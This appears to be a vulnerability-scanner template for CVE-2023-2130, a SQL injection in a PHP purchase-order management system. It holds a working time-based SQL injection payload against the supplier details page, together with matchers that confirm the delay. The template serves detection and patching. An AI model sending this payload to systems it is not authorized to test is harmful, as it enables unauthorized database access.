id: CVE-2023-2130

info:
  name: Purchase Order Management v1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    A vulnerability classified as critical has been found in SourceCodester Purchase Order Management System 1.0. Affected is an unknown function of the file /admin/suppliers/view_details.php of the component GET Parameter Handler. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-226206 is the identifier assigned to this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/zitozito1/bug_report/blob/main/SQLi.md
    - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2130
    - https://vuldb.com/?ctiid.226206
    - https://vuldb.com/?id.226206
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2130
    cwe-id: CWE-89
    epss-score: 0.73794
    epss-percentile: 0.98843
    cpe: cpe:2.3:a:purchase_order_management_system_project:purchase_order_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: purchase_order_management_system_project
    product: purchase_order_management_system
  tags: time-based-sqli,cve2023,cve,sqli,purchase-order-management-system,purchase_order_management_system_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/suppliers/view_details.php?id=1'+AND+(SELECT+9687+FROM+(SELECT(SLEEP(6)))pnac)+AND+'ARHJ'='ARHJ"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "Supplier Name")'
        condition: and
# digest: 490a0046304402201b0bd0b1c23ef5b4e43da863a64fe4c233248b801e869581a3da0de06535b1c00220476719fcf2dd3540e9d630c1337fce91dd983102a5504f4c15120a97194f8115:922c64590222798bb761d5b6d8e72950